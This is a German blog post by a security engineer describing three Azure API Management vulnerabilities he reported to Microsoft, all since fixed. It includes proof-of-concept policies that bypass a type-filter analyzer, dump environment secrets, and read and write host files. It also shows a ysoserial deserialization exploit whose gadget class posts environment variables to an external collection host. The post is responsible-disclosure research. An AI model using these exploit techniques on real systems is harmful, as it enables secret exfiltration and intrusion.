Gesucht und gefunden: Sicherheitslücken bei Microsoft Azure
12.3.2024
Du liest Code, als wäre es ein Buch und interessierst dich für Software Security? Dann bist du Teil der Zielgruppe, die ich mit diesem Beitrag ansprechen möchte.
Als Security Software Engineer bewege ich mich täglich durch viele Zeilen Code, die nicht von mir geschrieben wurden und teilweise auch schon etwas älter sind. Diese berufliche Realität erfordert ein tiefgehendes Verständnis für vielfältige Codebasen in unterschiedlichsten Domänen, um potenzielle Sicherheitslücken proaktiv zu erkennen und zu beheben. Unsere Systemlandschaft erfordert jedoch nicht nur ein tiefes Verständnis für unsere eigene Codebasis, sondern auch für externe Lösungen und Dienste, die in unsere Systeme integriert sind.
In diesem Jahr habe ich in meiner Freizeit aufgrund der Artikel «orca security - Authenticated SSRF Vulnerability on Azure API Management Service» und «Tenable Cloud Security - Uncovering 3 Azure API Management Vulnerabilities – When Good APIs Go Bad» mein Interesse auf den Azure-Dienst API Management gerichtet. Ich dachte mir, wenn in einem Service so viele Schwächen gefunden werden, dann muss da noch mehr sein. Während der Analyse des Dienstes stiess ich schliesslich auf drei Schwachstellen über die ich diesen Bericht schreibe.
Was ist Azure API Management?
Über Azure API Management Gateway können APIs erstellt und verwaltet werden. Entwicklerinnen und Entwickler profitieren von einem benutzerfreundlichen Portal mit Dokumentationen und Codebeispielen für eine reibungslose Integration. Diese Komponenten werden in Azure gehostet und sind standardmässig vollständig verwaltet.
Für weitere Informationen zu dem Dienst gibt es hier die Dokumentation: [«API Management – Manage APIs | Microsoft Azure»](https://azure.microsoft.com/en-us/products/api-management/ "API Management – Manage APIs | Microsoft Azure")
### Policy Expressions Azure API Management Gateway bietet die Möglichkeit, ein- sowie ausgehende Requests zu manipulieren wie zum Beispiel Caching, HTTP Header Manipulationen, Rate Limiting, URL Rewriting usw. Der Ablauf sieht wie folgt aus:Da statische Manipulationen limitiert sind und Microsoft uns mehr Flexibilität bieten möchte, kann C# Code in sogenannten Policy Expressions geschrieben werden.
Die Dokumentation für Policy Expressions enthält eine detaillierte Liste der Typen, die zur Erstellung von Expressions verwendet werden können. Der Zweck dieser Typenbeschränkung besteht darin, zu verhindern, dass das gesamte .NET-Framework (ja, richtig, der Dienst läuft noch auf dem Full-Framework) in den Richtlinien verfügbar ist und auf dem zugrunde liegenden Host des Dienstes Schaden anrichten kann.
In C# und dotnet ist mir kein Mechanismus bekannt, der Typen so filtert wie der Language Mode in PowerShell. Daher habe ich beschlossen, die Implementierung genauer zu untersuchen.
Bei Code-Reviews stelle ich mir immer die Frage: «Würde ich dieses Feature genauso umsetzen? Falls nicht, warum wurde es so entwickelt?». Selbst erstellte Sicherheitsfunktionen sind oft nicht umfassend durchdacht und können mit kreativen Ansätzen umgangen werden.
Für weitere Informationen zu Policy Expressions und den erlaubten Typen gibt's hier die Dokumentation: «Azure API Management policy expressions»
Technische Analyse
#1 Arbitrary Code Execution
Um den Typenfilter zu umgehen, habe ich zuerst versucht, eine Variable als «dynamic» zu deklarieren. In C# können so Variablen deklariert werden, deren Typ zur Laufzeit bestimmt wird. Dies ermöglicht die Definition von Variablen analog zu nicht stark typisierten Sprachen.
Das Resultat davon war eine aussagekräftige Fehlermeldung, die mir aufzeigte, wie die Typenfilterung umgesetzt wurde.
Ein klassisches Beispiel für «CWE-1295»:
Debug messages are messages that help troubleshoot an issue by revealing the internal state of the system.
…
However, there is also the risk of revealing information that could help an attacker either decipher a vulnerability, and/or gain a better understanding of the system. Thus, this extra information could lower the "security by obscurity" factor. While "security by obscurity" alone is insufficient, it can help as a part of "Defense-in-depth".
In der Fehlermeldung ist ersichtlich, dass der Typenfilter von Microsoft mit einem Roslyn Analyzer umgesetzt wurde.
Ein Roslyn Analyzer ist ein Werkzeug, das statische Codeanalyse in der Entwicklungszeit durchführt, um potenzielle Probleme, Verbesserungen oder stilistische Anpassungen im Quellcode zu identifizieren. Der Roslyn Compiler stellt Schnittstellen bereit, die es ermöglichen, eigene Analyzer umzusetzen, die während des Kompilierprozesses aufgerufen werden. Ein einfaches Beispiel für die Verwendung eines Roslyn Analyzers könnte das Erkennen nicht genutzter Variablen oder Methoden in einem C#-Codeprojekt sein. Der Analyzer würde während der Entwicklung Warnungen auslösen, wenn nicht verwendete Codeabschnitte identifiziert werden. Allerdings gibt es Stellen, in denen die statische Analyse fälschlicherweise Alarm schlägt. Zum Beispiel wenn gewisse Methoden garantiert zur Laufzeit aufgerufen werden, dies zur Kompilierzeit aber nicht erkennbar ist. Dafür kann man einzelne (oder alle) Analyzer mit Preprocessor Directives für gewisse Codestellen unterdrücken.
Preprocessor Directives sind Anweisungen im Code, die dem Compiler bestimmte Bedingungen für die Kompilierung vorgeben.
Ein Beispiel hierfür wären Kompatibilitätsfeatures über Frameworkversionen:
#if NET40
WebClient _client = new WebClient();
#else
HttpClient _client = new HttpClient();
#endif
Oder eben das Unterdrücken von lästigen Warnungen, die von Analyzern ausgelöst werden.
#pragma warning disable
Durch diese Direktive kann der selbstgebaute Typenfilter-Analyzer deaktiviert werden und danach sind alle Typen des Frameworks verfügbar.
Weiterführende Dokumentation zu Preprocessor Directives [«C# preprocessor directives - C# | Microsoft Learn»](https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/preprocessor-directives#pragma-warning "C# preprocessor directives - C# | Microsoft Learn")
#### Exploit In meinem Beispiel, das ich dem MSRC (Microsoft Security Response Center) bereitgestellt habe, gebe ich sämtliche Umgebungsvariablen aus, die Internas/Secrets wie Connection Strings beinhalten. Damit wäre es unter Umständen möglich, sich im Netzwerk des Servers weiter zu bewegen und so die Kontrolle über weitere Systeme zu erlangen auch «lateral movement» genannt. Aufgrund der Richtlinien von MSRC habe ich das jedoch nicht getestet und es bei meinem Proof of Concept belassen.<set-body>@{
#pragma warning disable
var str = "";
foreach (System.Collections.DictionaryEntry de in Environment.GetEnvironmentVariables())
{
str += $"{de.Key} = {de.Value}{Environment.NewLine}";
}
return str;
}</set-body>
Timeline
24 Jan 2023 Report
26 Jan 2023 Start MSRC Review / Repro
10 Feb 2023 MSRC Fix Released
#2 Arbitrary Read & Write
Nach dem oben verlinkten Tenable-Beitrag zum gleichen Dienst wollte ich überprüfen, wie Microsoft den von mir gefundenen Fehler behoben hat. Doch wie lässt sich das bei einer Blackbox überprüfen? Microsoft wird mir den Source Code wohl nicht aushändigen... oder doch?
Während meiner weiteren Recherche bin ich auf das Self-Hosted Gateway gestossen. Dies ist eine minimale, in docker verpackte Version des API Management Gateway, das in der eigenen Infrastruktur betrieben werden kann.
Weiterführende Dokumentation zu Self-hosted Gateway: [«Self-hosted gateway overview | Microsoft Learn»](https://learn.microsoft.com/en-us/azure/api-management/self-hosted-gateway-overview "Self-hosted gateway overview | Microsoft Learn")
Mit [dive](https://github.com/wagoodman/dive "dive") untersuchte ich das Docker Image und extrahierte anschliessend den für mich relevanten Layer:Mit dotPeek (.NET Decompiler) durchforstete ich die zuvor extrahierten Dateien und stiess dabei auf den oben erwähnten, selbst gebauten Analyzer. Die Implementierung sah auf den ersten Blick sehr robust aus, aber ich wurde auf einen «early return» Block aufmerksam.
Der Analyzer erlaubt im roten Block eine Liste von Assemblies und somit sämtliche beinhalteten Typen. Sowas sollte meiner Meinung nach in einem Whitelisting-Ansatz nur sehr sparsam verwendet werden, da sich sonst bei Framework Updates neue Funktionen einschleichen könnten.
Anschliessend begab ich mich auf die Suche nach der Definition der Assemblies und wurde in «expressions.json» fündig.
Erlaubte Assemblies sind somit System.Xml und System.Xml.Linq. Dies widerspricht der Dokumentation von Microsoft zu den erlaubten Typen, da dort alle Typen explizit aufgelistet sind. Jemand hat sich in der Vergangenheit dazu also Gedanken gemacht, in der Umsetzung oder mit einem Update ging das aber wohl verloren.
Exploit
System.Xml bietet diverse Funktionen für Lese- und Schreibzugriffe. Je nach Berechtigungen des Benutzers, der den Host-Prozess ausführt, kann damit Dateien manipuliert und somit auch Arbitrary Code Execution erreicht werden.
Arbitrary Read
XML Dateien des zugrunde liegenden Hosts konnten so gelesen werden.
<set-body>@{
var path = @"test.xml";
XmlDocument doc = new XmlDocument();
doc.Load(path);
return doc.OuterXml;
}</set-body>
Arbitrary Write
Da der Dienst kein schreibgeschütztes Dateisystem verwendet, war es mir auch möglich, Dateien im Anwendungsordner zu schreiben. In meinem Proof of Concept habe ich versucht, die Datei expressions.json so zu manipulieren, dass mir erneut alle Typen zur Verfügung stehen. Leider hat dies nicht funktioniert, da ein Neustart der Anwendung erforderlich wäre.
<set-body>@{
try{
var str = System.Net.WebUtility.UrlDecode(context.Request.Url.Query.GetValueOrDefault("content", "Hello World"));
var settings = new XmlWriterSettings();
settings.Indent = true;
settings.IndentChars = "\t";
settings.OmitXmlDeclaration = true;
var writer = XmlWriter.Create(@"hello-world.txt", settings);
writer.WriteRaw(str);
writer.Flush();
writer.Dispose();
return "";
}catch(Exception ex){
return ex.Message;
}
}</set-body>
Ein erzwungener Absturz des IIS Application Pools durch folgende Policy führte leider nicht zu einem Neustart, sondern machte den Dienst dauerhaft unbrauchbar. Dadurch musste ich die bestehende Instanz löschen und eine neue erstellen.
<set-body>@{
async void ex() { throw new Exception(); }
ex();
return "";
}</set-body>
Die oben gezeigten Policies wurden nach einigen weiteren Tests zu Remote Code Execution MSRC bereitgestellt und als «Privilege Escalation» behoben.
Timeline
09 Jul 2023 Report
14 Jul 2023 Start MSRC Review / Repro
17 Aug 2023 MSRC Fix Released
#3 Arbitrary Code Execution (Insecure Deserialization)
Als ich versuchte, mit der Arbitrary Read / Write Vulnerability Code-Ausführung zu erreichen, kam mir die Idee, absichtlich verwundbaren Code zu schreiben. Für XML gibt es eine Vielzahl bekannter Angriffsmethoden, und die Verwendung von XSLT (XSL Transformation) hat dabei zu interessanten Erkenntnissen geführt.
XSLT Processing
Das .NET-Framework bietet eine Funktionserweiterung, die es ermöglicht C# Code innerhalb eines Templates zu definieren. Dieser Abschnitt wird dann während der Verarbeitung kompiliert und ausgeführt.
Weiterführende Dokumentation zu msxml:script [«Script Blocks Using msxsl:script - .NET | Microsoft Learn»](https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script "Script Blocks Using msxsl:script - .NET | Microsoft Learn")
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string UserFunction(){
return "Hello World";
}
]]>
</msxsl:script>
Die Ausführung meines Script-Blocks hat nicht funktioniert, aber ich erhielt eine sehr sprechende Fehlermeldung, die mir mehr über die Funktionsweise offenlegte.
Error occurred while compiling the script: Cannot execute a program. The command being executed was "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\apimuser_proxy\AppData\Local\Temp\l3fkjmcj.cmdline".
Die Fehlermeldung «Cannot execute a program» bedeutet, dass der Benutzer, der den Dienst ausführt, keine Berechtigung hat, um andere Prozesse zu starten. Das ergibt aus Sicherheitssicht total Sinn und hat an dieser Stelle weiteren Schaden verhindert.
Zu Beginn meiner Tests ist mir bereits aufgefallen, dass der Analyzer die bekannt verwundbare Funktion Newtonsoft.Json.JsonConvert.DeserializeObject erlaubt.
Um diese Funktion zur Codeausführung zu bewegen, muss eine spezifische Klasse (ein sogenanntes Gadget) deserialisiert werden. Diese Klasse führt als Teil des Deserialisierungsprozesses, im Konstruktor oder in den Getter/Setter-Methoden einer Eigenschaft Code aus.
Weiterführende Dokumentation zur bekannt verwundbaren Funktion DeserializeObject https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
YSoSerial.Net
Es gibt das Projekt YSoSerial.Net, das eine Sammlung solcher Gadget-Klassen und einen dazugehörigen Payload-Generator bereitstellt, die für Deserialisierungsangriffe genutzt werden können. Die einfachste Variante ist ein POC-Payload, der beispielsweise nslookup startet und eine basierend auf https://log4shell.tools/ Domain auflöst. Da der IIS AppPool-Benutzer keine Berechtigungen zum Starten von Prozessen hat, hat das während meines ersten Tests nicht funktioniert.
Nach meiner Recherche bin ich auf eine weitere Varianten des Payloads gestossen, die als Teil des DataSetOldBehaviourFromFile Gadgets bereitsteht. Mit diesem Payload kann der Konstruktor einer selbst definierten Klasse ausgeführt werden.
Code der Exploit-Klasse:
class E
{
public E()
{
var str = "";
foreach (System.Collections.DictionaryEntry de in System.Environment.GetEnvironmentVariables())
{
str += de.Key+" = "+de.Value+ System.Environment.NewLine;
}
new System.Net.Http.HttpClient().PostAsync("https://[redacted].m.pipedream.net", new System.Net.Http.StringContent(str)).GetAwaiter().GetResult();
}
}
Das Gadget DataSetOldBehaviourFromFile kann nicht direkt über Json.Net aufgerufen werden. Stattdessen benötigt es die "Brücke" zum BinaryFormatter, die durch das -bgc Cli-Flag ermöglicht wird. Die Verwendung von -bgc funktioniert, da die RolePrincipal-Klasse intern den BinaryFormatter verwendet. Siehe Source
Verwendeter Cli Command:
\ysoserial.exe -f Json.Net -g RolePrincipal -o raw -c "ExploitClass.cs;System.Runtime.dll;System.IO.dll;System.dll;System.Core.dll;System.Net.Http.dll" -bgc DataSetOldBehaviourFromFile
Exploit
Der Analyzer erlaubt das Setzen der JsonSerializerSettings, verbietet aber den Zugriff auf das Enum TypeNameHandling, das für die Codeausführung benötigt wird. Der Analyzer konnte erneut umgangen werden, indem ein einfacher Cast von int zu enum durchgeführt wurde.
Beispiel Policy:
<set-body>@{
var payload = context.Request.Body.As<string>();
try{
string data = @"{
'$type': 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
'System.Security.ClaimsPrincipal.Identities': '"+payload+@"'
}";
object obj = JsonConvert.DeserializeObject<object>(data, new JsonSerializerSettings
{
TypeNameHandling = (Newtonsoft.Json.TypeNameHandling)4
});
return "OK";
}
catch(Exception ex){
return JsonConvert.SerializeObject(ex);
}
}</set-body>
Und das Resultat der Ausführung mit diversen Secrets zu internen Systemen von Microsoft.
Timeline
06 Aug 2023 Report
10 Aug 2023 Start MSRC Review / Repro
29 Aug 2023 MSRC Fix Released
Fazit
Die Ausführung von Code auf einem zentralen Einstiegspunkt wie Azure API Management kann Sicherheitsteams von Unternehmen vor Herausforderungen stellen. Da es sich um einen vollständig verwalteten Dienst von Microsoft handelt, ist der Zugriff auf Ereignisse/Protokolle des zugrunde liegenden Host-Systems nicht möglich und das Installieren einer Systemüberwachungssoftware ist ausgeschlossen. Dadurch ist die Erkennung der Persistenz von Angreifern erschwert und Sicherheitsteams müssen sich auf die Erkennung durch Microsoft verlassen.
Das Microsoft Security Response Center hat die gemeldeten Schwachstellen mit angemessener Priorität bearbeitet und an die entsprechende Produktgruppe weitergeleitet. Die Kommunikation verlief professionell und dank der von mir bereitgestellten POCs konnten Patches schnell in der produktiven Umgebung implementiert werden.
Dies war nur möglich und rechtlich zulässig, da Microsoft ein Bug Bounty Program betreibt. Weitere Informationen dazu gibt es unter https://www.microsoft.com/en-us/msrc/bounty .
Wusstest du, dass wir bei Digitec Galaxus ein Vulnerability Disclosure Program haben? Ethical Hackers können unter Einhaltung der Regeln auch bei uns nach Sicherheitslücken suchen. Weitere Informationen dazu gibt es unter https://www.galaxus.ch/security
Martin Wrona
Senior Security Software Engineer
Martin.Wrona@digitecgalaxus.chSecurity
Folge Themen und erhalte Updates zu deinen Interessen
Tech
Folge Themen und erhalte Updates zu deinen Interessen